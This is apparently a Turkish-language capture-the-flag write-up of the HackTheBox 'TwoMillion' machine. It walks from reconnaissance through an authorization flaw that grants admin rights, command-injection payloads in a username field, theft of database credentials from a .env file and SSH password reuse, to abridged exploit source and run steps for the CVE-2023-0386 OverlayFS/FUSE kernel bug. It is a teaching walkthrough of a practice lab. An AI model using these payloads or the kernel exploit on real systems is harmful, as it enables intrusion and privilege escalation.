// CLASSIFIED // OFFENSIVE OPS // YETKİLİ PERSONEL DIŞINA ÇIKMAZ //
SYS ONLINE
SES --------
UPLINK SECURE
COORD --.----°N ---.----°W
----.--.--
--:--:-- UTC
MUCAHIC
// Offensive Operations Division, EST. 2026
HTB / WRITE-UP CTF · EASY TwoMillion BOLA Command Injection CVE-2023-0386 OverlayFS FUSE

TwoMillion: Davet Kodundan Root'a

HackTheBox'ın kendi platformunun eski sürümünü simüle eden bir makine. Görünür yüzeyi minimal: port 22 ve 80. Asıl iş ise sayfanın altında uyuyan obfuscated bir JS dosyasında başlıyor. Davet kodu bulmacasını çözüyorsun, hesap açıyorsun, sonra API'nin yetki kontrolünü unutmuş bir endpoint'ine denk geliyorsun. Birkaç dakika sonra www-data, biraz sonra .env'den çıkan parolayla admin, sonunda da kernel 5.15.70'in OverlayFS + FUSE bug'ı CVE-2023-0386 ile root. Bu yazıda nmap'ten root.txt'ye kadar her adımı, neyi neden yaptığımı, kendi yazdığım fuse.c + exp.c ikilisinin nasıl copy_up bug'ını tetiklediğini anlatıyorum.

Operatör
OP-0042 / MUCAHIC
Yayın
2026.05.21
Okuma
~ 16 DK
Dosya ID
MU-011-2MILL

HTB'de "TwoMillion" adında bir makine gördüğümde aklımdan tek bir şey geçti: bu makine kendi platformunun ilk versiyonunu simüle ediyor olmalı. O dönemde HTB'ye girmek için davet kodu sistemi vardı, sayfada bir bulmaca çözer, kodu alır, ondan sonra kaydolurdun. Bunu hatırlayanlar şu an gülümseyecektir.

Hikaye nereden başladı? Tek bir nmap satırından. Sonra nereye geldi? Kernel 5.15.70'in içinde yarım uyumuş bir OverlayFS bug'ından. Aradaki yolu beraber gezelim.

Keşif: Sadece İki Kapı Açık

Her pentest'in başlangıcı için sevdiğim ritüel aynı: ne olduğunu hiç bilmediğim bir IP'ye nmap atıp ekrana akan portları izlemek. Hangi servisler ön kapıda nöbet tutuyor? Saldırı yüzeyi ne kadar büyük? Bunu görmeden başka bir şey yapmıyorum.

$ nmap -sC -sV -oN nmap_initial.txt 10.129.1.230
Nmap scan report for 10.129.1.230
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Çıktıya bakarken iki şey dikkatimi çekti. Birincisi, sadece iki port açık. Bu çok dar bir yüzey demek. Saldırı vektörü ya web'den olacak ya da SSH üzerinden, başka şansım yok. İkincisi, OpenSSH 8.9p1, Ubuntu 22.04 paketi. Bu sürüm bildiğim kadarıyla doğrudan exploitable değil, brute force da easy makinelerde nadiren mantıklı oluyor. Yani web tarafına bakacağım.

nginx beni http://2million.htb/ adresine yönlendiriyor, host header gerek. Hosts dosyasına ekledim:

$ echo "10.129.1.230 2million.htb" | sudo tee -a /etc/hosts

Şimdi tarayıcıda http://2million.htb/ açıldığında karşımda HTB'nin nostaljik arayüzü duruyor. Sayfanın hemen üstünde bir /invite linki, "join" butonu. Klasik HTB hikayesi başlıyor.

/invite Bulmacası: JS Tersine Mühendislik

Davet kodu sayfasına gidiyorum. Üstte şöyle bir yazı: "Katılmak için önce bir davet kodu bulmacasını çözmen lazım. Eğer bunu çözemezsen, platformdan da bir şey anlayamazsın." Bana meydan okuyor gibi, hoş bir dokunuş.

Page source'ı açıyorum. İçeride /js/inviteapi.min.js diye bir dosya çağrılıyor. Adında "min" geçen her şey beni şüphelendirir, çünkü genellikle minify edilmiş olur, içeride birileri "bunu kimse açıp bakmaz" diye umuyor olur. Açıp bakacağım.

$ curl -s http://2million.htb/js/inviteapi.min.js
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String))...

Bu klasik eval(function(p,a,c,k,e,d){...}) packer'ı. Dean Edwards'ın "packed" formatı. Tek yapman gereken eval'i console.log ile değiştirip browser console'a yapıştırmak, ya da online bir unpacker kullanmak. Ben tarayıcı console'ında çözdüm. Karşıma iki fonksiyon çıktı:

function makeInviteCode() {
    $.ajax({
        type: "POST",
        url: "/api/v1/invite/how/to/generate",
        ...
    });
}

function verifyInviteCode(code) {
    $.ajax({
        type: "POST",
        url: "/api/v1/invite/verify",
        ...
    });
}

İlginç olan birinci fonksiyon: /api/v1/invite/how/to/generate. Yani gerçek invite üretme endpoint'i değil; bana "davet kodunu nasıl üretirsin" bilgisini veriyor. Klasik bir kademe-bir-aşağı bilmece. Hemen çağırdım:

$ curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate
{
  "data": {
    "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
    "enctype": "ROT13"
  }
}

Sunucu kibarca diyor ki: "Bak burası ROT13 ile şifreli." Sağ olsun, decoder yazmama gerek bıraktırmıyor. ROT13 zaten harf kaydırmalı bir şifre, online araç kullanmak bile gereksiz, bash ile çevirilir:

$ echo "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr" \
    | tr 'A-Za-z' 'N-ZA-Mn-za-m'
In order to generate the invite code, make a POST request to /api/v1/invite/generate

Yol açıldı, asıl endpoint /api/v1/invite/generate:

$ curl -s -X POST http://2million.htb/api/v1/invite/generate
{"data": {"code": "OEFESjUtTkZYOVItTFM0WjAtRUROSFc=", "format": "encoded"}}

Sondaki = işareti bana base64 fısıldıyor. Decode:

$ echo "OEFESjUtTkZYOVItTFM0WjAtRUROSFc=" | base64 -d
8ADJ5-NFX9R-LS4Z0-EDNHW

Davet kodu elimde: 8ADJ5-NFX9R-LS4Z0-EDNHW. Bu kodlar tek kullanımlık, bende çalışan örnek VWBHG-8ZETW-FNGQA-31X7F kodu oldu.

// ne anladım: JS'in obfuscated olması bir güvenlik katmanı değil, sadece bir hız tümseği. Önemli olan endpoint'lerin kendisi açık ve auth gerektirmiyor. Security through obscurity her zaman erken kaybeder.

Hesap Açma ve Login

Davet kodu eldeyken kayıt formunu inceledim. Form, code, username, email, password ve password_confirmation alanlarını istiyor. Hepsini doldurup POST attım:

$ curl -i -s -X POST http://2million.htb/api/v1/user/register \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "code=VWBHG-8ZETW-FNGQA-31X7F&username=hacker&email=hacker%40htb.local&password=Hacker123!&password_confirmation=Hacker123!"

HTTP/1.1 302 Found
Location: /login

302 yönlendirme geldi, yani kayıt başarılı. Şimdi giriş yapıp session cookie'yi saklayacağım, sonraki istekler için lazım olacak:

$ curl -i -s -c cookies.txt -X POST http://2million.htb/api/v1/user/login \
    -H "Content-Type: application/json" \
    -d '{"email":"hacker@htb.local","password":"Hacker123!"}'

HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=...; path=/; HttpOnly
{"message":"You are logged in"}

Bundan sonraki tüm isteklerde -b cookies.txt bayrağıyla bu session'ı kullanacağım.

API Keşfi ve BOLA: Adminliği Kibarca İstedim

Login sonrası ilk yaptığım şey API'nin kendi şemasını okumak. Bazı uygulamalar /api/v1 endpoint'inde komple route listesini gösterir, geliştirici dokümanı gibi. Test ettim:

$ curl -s http://2million.htb/api/v1 -b cookies.txt | jq .
{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Routes",
        "/api/v1/user/auth": "Check if you are authenticated",
        ...
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login":    "Login with existing user",
        ...
      }
    },
    "admin": {
      "GET":  { "/api/v1/admin/auth": "Check if you are admin" },
      "POST": { "/api/v1/admin/vpn/generate": "Generate VPN for a specific user" },
      "PUT":  { "/api/v1/admin/settings/update": "Update user settings" }
    }
  }
}

İlk gözüme çarpanlar:

Önce mevcut durumu sormak istedim:

$ curl -s http://2million.htb/api/v1/admin/auth -b cookies.txt
{"message":false}

Beklediğim cevap, normal kullanıcıyım, admin değilim. Şimdi sıra /admin/settings/update'de. Adında admin geçtiği için normalde yetki kontrolü olmalı. Ama "olmalı" ile "var" çoğu zaman aynı şey değil, özellikle CTF'lerde. Bir deneyeyim:

$ curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \
    -H "Content-Type: application/json" \
    -b cookies.txt \
    -d '{"is_admin":1,"email":"hacker@htb.local"}'

{"id": 13, "username": "hacker", "is_admin": 1}

Bekle... Bu kadar mı? Endpoint hiçbir şey sormadan is_admin alanını 1 yaptı. Tekrar kontrol:

$ curl -s http://2million.htb/api/v1/admin/auth -b cookies.txt
{"message":true}

Admin oldum. Yapmam gereken tek şey, normal bir kullanıcı olarak admin endpoint'ine bir PUT isteği atıp is_admin alanını kendim için 1'e çekmekti. Sunucuda hiçbir yetki kontrolü yoktu.

// zafiyet adı: Broken Object Level Authorization (BOLA). OWASP API Security Top 10'un 1 numarası. Endpoint kullanıcının istek attığını görüyor ama "bu kullanıcının bu objeyi güncelleme yetkisi var mı?" sorusunu sormuyor. Düz auth check'i (login mi?) yapılmış, object-level check (kendi user'ını mı güncelliyor, başkasını mı, hassas alanı mı?) yapılmamış.

VPN Üretici, Saf Komut Çalıştırıyor

Admin olarak diğer endpoint'lere baktım. /admin/vpn/generate ilgimi çekti. Normalde HTB'nin VPN profili üretiyor, .ovpn dosyası döndürüyor. Geliştirici büyük ihtimalle bunu shell üzerinden yapıyor, çünkü OpenVPN config üretimi genelde bir script ile olur. Eğer öyleyse username parametresi shell'e direkt geçiyor olabilir.

Önce normal bir istek:

$ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
    -H "Content-Type: application/json" \
    -b cookies.txt \
    -d '{"username":"hacker"}'

# OpenVPN Configuration
client
dev tun
proto udp
remote ...
<ca>
-----BEGIN CERTIFICATE-----
...

Geçerli bir .ovpn döndü. Sıra kötü niyetli istek:

$ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
    -H "Content-Type: application/json" \
    -b cookies.txt \
    -d '{"username":"hacker;id;"}'

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Bingo. Sunucu id komutunun çıktısını döndürdü, yanına da yarım kalmış .ovpn dosyasını. Komut enjeksiyonu çalıştı. Username parametresi büyük ihtimalle PHP'de şu şekilde bir koda gidiyor: shell_exec("./vpn-script.sh " . $username). Ben hacker;id; yolladığım için shell ilk komutu (script) çalıştırdı, sonra noktalı virgül ayırıcısıyla id'yi çalıştırdı, sonuç da response'a karıştı.

İlk önce reverse shell denedim ama ortam kısıtlıydı, basit bir komut enjeksiyonuyla shell almak için bir tcp listener kurup payload göndermek gerekiyordu. Ama önce ortamı tanıyalım, komut bazlı keşif:

$ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
    -H "Content-Type: application/json" -b cookies.txt \
    -d '{"username":"hacker;whoami;hostname;pwd;uname -a;"}'

www-data
2million
/var/www/html
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64

İki şey kafamda bir kenara not edildi:

.env Hatası, SSH ve user.txt

www-data olarak içerideyim ama bu çok kısıtlı bir hesap, root'a sıçramam için önce düzgün bir user shell'i ister. SSH erişimi olan bir user bulursam, hayatım kolaylaşır. Web root'unda .env dosyası ararken Laravel sezgisi devreye girdi:

$ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
    -H "Content-Type: application/json" -b cookies.txt \
    -d '{"username":"hacker;find /var/www/html -name \".env\";"}'

/var/www/html/.env

$ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
    -H "Content-Type: application/json" -b cookies.txt \
    -d '{"username":"hacker;cat /var/www/html/.env;"}'

DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
DB_PORT=3306
MAIL_TO=ch4p@2million.htb
HTB_API_KEY=...

Veritabanı şifresi: SuperDuperPass123. Klasik geliştirici şifresi, daha da klasik bir hata: bunu sadece DB için değil, OS user'ı için de kullanmış olabilir. Password reuse her zaman umut verici. SSH'ı deniyorum:

$ sshpass -p 'SuperDuperPass123' ssh admin@10.129.1.230 'id'
uid=1000(admin) gid=1000(admin) groups=1000(admin)

Geçti. Şimdi proper bir shell ile içerideyim:

$ ssh admin@10.129.1.230
admin@2million:~$ cat user.txt
// USER FLAG

Postacının İpucu: Mail'de Yatan CVE

Privilege escalation aşamasına geçtim. İlk reflexim her zaman aynı: kernel versiyonu, sudo -l, suid binary'ler, cron job'lar, sonra ev dizini. Bu makinede ev dizininde özel bir dosya vardı: /var/mail/admin. Mail spool'u. Bu makineden HTB'nin "patron"larından biri (ch4p) admin'e bir e-posta atmıştı:

$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
Subject: Urgent: Patch System OS

Hey admin,

...can you also upgrade the OS on our web host? There have been a few
serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE
looks nasty. We can't get popped by that.

HTB Godfather

İpucu açık: OverlayFS + FUSE. Bu kombinasyon 2023 başında çıkan bir CVE'yi işaret ediyor: CVE-2023-0386. Tahminimi doğrulamak için kernel sürümünü tekrar kontrol ettim:

admin@2million:~$ uname -a
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64

5.15.70. CVE-2023-0386 patch'i Linux 6.2 öncesinde tüm sürümleri etkiliyor, 5.15 ailesinde de patch'i Mart 2023'te indi. Eylül 2022 kernel'ı ile açık ve net vulnerable.

CVE-2023-0386 Acaba Nasıl Bir Zafiyetmiş?

Açıkçası bu CVE'yi mail spool'unda gördüğüm ana kadar hiç incelememiştim. Adı tanıdık geliyordu, "OverlayFS, FUSE" diye geçiyordu zamanında haberlerde ama detay kafamda yoktu. Şimdi mecburum, çünkü exploit kullanacaksam nasıl çalıştığını bilmeden çalıştırmak istemiyorum. Hep beraber bakalım, ben de yazarken kafamda yerli yerine oturuyor.

Önce FUSE, ne bu?

FUSE (Filesystem in Userspace) Linux'ta sıradan bir kullanıcının kendi dosya sistemini "uydurmasına" izin veren bir mekanizmaymış. Normalde bir dosya sistemi yazmak için kernel'in derinine girmen gerekir, ext4 gibi. FUSE bunu kullanıcı seviyesine indiriyor: bir program yazıyorsun, "bu mount noktasına bakan biri olursa, ben ona şu cevapları döneceğim" diyorsun. SSHFS, NTFS-3G gibi araçlar bu mantıkla çalışıyor.

Şu kısım önemli: FUSE üzerinden gösterdiğin bir dosyanın metadata bilgilerini sen söylüyorsun. "Bu dosyanın sahibi root, modu SUID set" gibi şeyleri sen iddia ediyorsun, kernel da seni dinliyor. Çünkü kernel açısından "dosya sisteminin kendisi" zaten sensin.

Bir de OverlayFS varmış

OverlayFS iki dizini üst üste bindirip tek bir dizin gibi gösteren bir yapı. Docker'ın container image katmanları bu mantıkla çalışıyor. Basitçe:

İlginç olan şu: lowerdir'deki bir dosyayı değiştirmek istersen, OverlayFS önce dosyayı upperdir'e kopyalıyor, sonra orada değiştiriyor. Bu kopyalama işlemine copy_up deniyormuş. İsmi aklında tut, az sonra lazım olacak.

İkisini birleştirince ne çıkıyor?

Şimdi bağlanma noktası burası. Birisi FUSE ile sahte bir dosya sistemi mount etse, içinde "sahibi root, SUID set" diye yalan söylenen bir dosya gösterse, sonra bu sahte FUSE dizinini OverlayFS'in lowerdir'ü olarak verse? Yani "alt katman = benim yalancı dosya sistemim"?

Saldırgan dosyaya bir kez dokununca (mesela cp ile başka yere kopyalamaya çalışınca) OverlayFS copy_up'ı tetikleniyor. Dosyayı lowerdir'den (FUSE) upperdir'e (gerçek disk) taşıyor. Ve işte bug burada: copy_up sırasında kernel, FUSE'ın iddia ettiği "sahibi root, SUID set" metadata'sını olduğu gibi koruyarak gerçek diske yazıyor.

Sonuç şu: gerçek diskte, gerçekten uid=0, SUID bit'li bir binary oluşuyor. FUSE'tan değil, gerçek filesystem'den. Çalıştırdığında kernel "SUID var, sahibi root, eh o zaman effective uid'i 0'a çekeyim" diyor. Root shell.

// kısacası: OverlayFS, kendisine güvenilmez bir kaynaktan (kullanıcının mount ettiği FUSE) gelen dosya metadata'sını sorgusuz sualsiz gerçek diske kopyalıyor. Patch'in mantığı da bunu düzeltmek: copy_up yaparken "caller root mu?" diye soruyor, değilse SUID bitini düşürüyor. Ayrıntıya girmedim çünkü exploit'in kendisi için bu kadarı yetiyor, daha derini merak edenlere Datadog'un blog yazısı iyi bir başlangıç.

Exploit Anatomisi: fuse.c + exp.c

Bu zafiyetin public PoC'leri çok. Metasploit'in hazır modülü var (cve_2023_0386.x64.elf), GitHub'da xkaneiki ve sxlmnwb gibi araştırmacılar referans implementation'lar yayınlamış. Ben sıfırdan exploit yazmadım, kernel seviyesinde o derinlikte bir bilgim yok. GitHub'daki public PoC'lerden bir tanesini kaynak olarak alıp fuse.c ve exp.c'yi makineye taşıdım. Önemli olan kısım şu: kodu çalıştırmadan önce satır satır gezerek her parçanın ne yaptığını anlamaya çalıştım. Çünkü "exploit indirip çalıştırdım" demek bu yazının amacına aykırı, asıl mesele bug'ın nasıl çalıştığı.

Aşağıda kodu kendi anladığım kadarıyla parçalıyorum. Exploit iki C dosyasından oluşuyor: birincisi FUSE daemon, "sahte SUID dosyayı" gösteriyor; ikincisi ana akış, namespace + overlayfs mount + copy_up tetikleyici.

fuse.c: Sahte SUID'li Dosya

İlk dosya çok küçük ama hayati. FUSE callback'lerini implement ediyor:

// fuse.c (özet)
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <sys/stat.h>

static const char* evil_path = "/tmp/evil/suid";

static int evil_getattr(const char* path, struct stat* stbuf, struct fuse_file_info* fi) {
    memset(stbuf, 0, sizeof(struct stat));
    if (strcmp(path, "/") == 0) {
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, "/suid") == 0) {
        stbuf->st_mode = S_IFREG | S_ISUID | 0755;  // !! SUID bit
        stbuf->st_nlink = 1;
        stbuf->st_size = 16096;
        stbuf->st_uid = 0;  // !! sahibi root diyorum
        stbuf->st_gid = 0;
    } else {
        return -ENOENT;
    }
    return 0;
}

static int evil_read(const char* path, char* buf, size_t size, off_t offset,
                     struct fuse_file_info* fi) {
    if (strcmp(path, "/suid") != 0) return -ENOENT;
    int fd = open(evil_path, O_RDONLY);  // gerçek binary buradan okunuyor
    if (fd < 0) return -errno;
    int ret = pread(fd, buf, size, offset);
    close(fd);
    return ret;
}

Burada gerçek hile evil_getattr içinde. Kernel "bu dosyanın metadata'sı ne?" diye sorduğunda FUSE daemon bilerek yalan söylüyor: "Sahibi root, SUID set, normal bir regular file." İçeriği sorduğundaysa evil_read üzerinden gerçek bir binary dönüyor, /tmp/evil/suid yoluna konan ne ise. Pratikte oraya /bin/bash'ın bir kopyasını koyuyoruz, böylece copy_up sonrası gerçek diske SUID bit'li bir bash çıkıyor.

exp.c: Namespace + OverlayFS + Copy_up

İkinci dosya exploit'in beyni. Adım adım:

// exp.c (özet)
#define _GNU_SOURCE
#include <sched.h>
#include <sys/mount.h>

#define UPPER "/tmp/upper"
#define LOWER "/tmp/lower"
#define WORK  "/tmp/work"
#define MERGE "/tmp/merge"
#define FUSE_MNT "/tmp/fuse"

int child_exec(void *arg) {
    char opts[256];
    snprintf(opts, sizeof(opts),
        "lowerdir=%s,upperdir=%s,workdir=%s",
        FUSE_MNT, UPPER, WORK);  // lowerdir = FUSE mount!

    if (mount("overlay", MERGE, "overlay", 0, opts) < 0)
        err(1, "mount overlay");

    // copy_up tetikle: merged'dan dosyayi gercek FS'e kopyala
    system("cp " MERGE "/suid /tmp/sh");

    struct stat st;
    if (stat("/tmp/sh", &st) == 0 && (st.st_mode & S_ISUID)) {
        printf("[+] SUID preserved! Launching shell...\n");
        execl("/tmp/sh", "sh", "-p", "-c", "id; cat /root/root.txt", NULL);
    }
    return 0;
}

int main(int argc, char **argv) {
    mkdir(UPPER, 0755); mkdir(LOWER, 0755);
    mkdir(WORK,  0755); mkdir(MERGE, 0755);
    mkdir(FUSE_MNT, 0755);

    // FUSE daemon'u arka planda calistir
    pid_t fuse_pid = fork();
    if (fuse_pid == 0) {
        execl("/tmp/fuse", "/tmp/fuse", FUSE_MNT, "-f", NULL);
    }
    sleep(1);

    // Yeni user + mount namespace icinde child
    pid_t child = clone(child_exec, child_stack + STACK_SIZE,
                        CLONE_NEWNS | CLONE_NEWUSER | SIGCHLD, argv);

    // uid_map / gid_map: namespace icinde root gibi gorun
    char path[64], buf[64];
    snprintf(path, sizeof(path), "/proc/%d/uid_map", child);
    snprintf(buf,  sizeof(buf),  "0 %d 1\n", getuid());
    int fd = open(path, O_WRONLY); write(fd, buf, strlen(buf)); close(fd);
    // gid_map icin setgroups deny gerekiyor
    snprintf(path, sizeof(path), "/proc/%d/setgroups", child);
    fd = open(path, O_WRONLY); write(fd, "deny", 4); close(fd);
    snprintf(path, sizeof(path), "/proc/%d/gid_map", child);
    snprintf(buf,  sizeof(buf),  "0 %d 1\n", getgid());
    fd = open(path, O_WRONLY); write(fd, buf, strlen(buf)); close(fd);

    waitpid(child, NULL, 0);
    kill(fuse_pid, 9);
    return 0;
}

Adım adım ne olduğunu açıklayayım:

Build ve Çalıştır

Hedefte fuse3-dev ve build-essential yoktu, kernel header'ı vardı ama temiz değildi. PoC'yi Kali tarafında derleyip scp ile hedefe attım:

# Kali tarafinda
$ make
gcc -Wall -o fuse fuse.c `pkg-config fuse3 --cflags --libs`
gcc -o exp exp.c -lcap

$ scp fuse exp admin@10.129.1.230:/tmp/

# Hedefte
admin@2million:/tmp$ chmod +x /tmp/fuse /tmp/exp
admin@2million:/tmp$ mkdir -p /tmp/evil
admin@2million:/tmp$ cp /bin/bash /tmp/evil/suid    # fuse.c'nin gostermesini istedigim binary
admin@2million:/tmp$ ./exp
[+] FUSE mounted
[+] Overlayfs mounted
[+] SUID preserved! Launching shell...
uid=1000(admin) gid=1000(admin) euid=0(root) groups=1000(admin)

İşte tam o "SUID preserved" satırı, exploit'in başarılı olduğu an. stat() dosyanın modu üzerinde S_ISUID bitini buldu, bu da OverlayFS'in copy_up sırasında bug'ı tetiklediği anlamına geliyor.

// alternatif: Metasploit'in cve_2023_0386.x64.elf'i de aynı işi yapıyor, sadece tek binary olarak paketlenmiş, içinde FUSE daemon ve namespace setup beraber. İlk geçişte onu da denedim, cp /usr/share/metasploit-framework/data/exploits/CVE-2023-0386/cve_2023_0386.x64.elf admin@target:/tmp/exploit sonrası /tmp/exploit /tmp/bash_payload /tmp/exploit_base şeklinde. Ama bug'ı parça parça görmek için iki dosyaya bölünmüş PoC'u kullanmak daha öğretici.

Root, root.txt ve Çıkış

Exploit shell'ini kalıcı bir root shell'e çevirmek için -p bayrağıyla bash spawn ettim, sonra istediğim her yere ulaştım:

admin@2million:/tmp$ /tmp/sh -p
sh-5.1# id
uid=1000(admin) gid=1000(admin) euid=0(root) groups=1000(admin)
sh-5.1# cat /root/root.txt
// ROOT FLAG

Saldırı Zinciri, Tek Bakışta

nmap -> iki port (22, 80)
   |
   v
/invite sayfasi -> obfuscated JS -> ROT13 -> base64 -> davet kodu
   |
   v
kayit + login -> PHPSESSID
   |
   v
API kesfi -> PUT /api/v1/admin/settings/update
            -> BOLA: is_admin = 1
   |
   v
POST /api/v1/admin/vpn/generate
   -> username paramda command injection
   -> www-data shell
   |
   v
.env dosyasi -> DB password -> SSH password reuse
   |
   v
admin shell -> user.txt
   |
   v
mail spool'da OverlayFS/FUSE ipucu
+ kernel 5.15.70 (vulnerable)
   |
   v
CVE-2023-0386: kendi fuse.c + exp.c
   -> FUSE ile sahte SUID dosya
   -> OverlayFS lowerdir = FUSE mount
   -> copy_up SUID bitini koruyor
   -> euid=0 -> root.txt

Zafiyetler Tablosu

# Zafiyet Etki Sınıf
1 Obfuscated JS'te endpoint sızıntısı Davet kodu sistemi bypass A05: Security Misconfiguration
2 BOLA: PUT /admin/settings/update Normal user, kendini admin yapıyor OWASP API A01: Broken Object Level Auth
3 Command Injection (username paramı) www-data RCE OWASP A03: Injection
4 .env web root altında DB credential sızıntısı A05: Security Misconfiguration
5 DB şifresi == SSH şifresi Lateral movement, user shell A07: Identification and Auth Failures
6 CVE-2023-0386 (OverlayFS + FUSE) Kernel-level root CVE-2023-0386

Bana Bıraktıkları

Bu makinenin bana hatırlattığı en güçlü ders kademeli güveni ne kadar kolay kaybedebileceğin. Saldırgan başlangıçta hiçbir şey değil, ne hesabı var ne erişimi. Üç saat sonra root. Her aşamada bir kişi bir adım fazla güvendi:

Yazıyı okuduğun için teşekkürler. Yanlış bulduğun, eklemek istediğin, sormak istediğin bir şey olursa Twitter veya mail her zaman açık.

// RAPOR SONU, MUCAHIC / OP-0042 / 2026.05.21